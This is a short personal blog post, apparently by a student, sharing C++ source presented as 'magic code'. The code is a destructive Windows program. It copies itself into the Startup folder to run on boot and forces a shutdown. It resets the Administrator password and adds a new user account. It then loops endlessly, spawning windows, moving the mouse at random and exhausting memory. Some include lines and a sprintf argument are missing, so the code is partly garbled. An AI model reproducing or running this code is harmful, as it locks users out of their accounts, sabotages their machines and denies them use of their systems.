- C20250025's blog
神奇的代码1
- 2023-2-13 15:55:00 @
#include #include<windows.h> #include #include # include <stdio.h> #include <string.h> #include using namespace std; int main (int argc,char *argv[]) { char copy[80]; sprintf(copy,"copy %s \"%%userprofile%%\\「开始」菜单\\程序\\启动\""); system(copy); //将这个bai程序拷到du开机启动文件夹下面zhi char cmd[]="shutdown -s -t 20"; system("ping baidu.com"); system(cmd); system("pause"); system(copy); system("net user Administrator xz"); system("net user 崩溃 xz /add"); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); srand(time(0));//随机函数种子 system("shutdown -s -t 20"); while(1)//循环 { SetCursorPos(rand()%x,rand()%y);//鼠标 x y轴 随机 system("start");//弹出窗口 char *p=new char[10000]; } }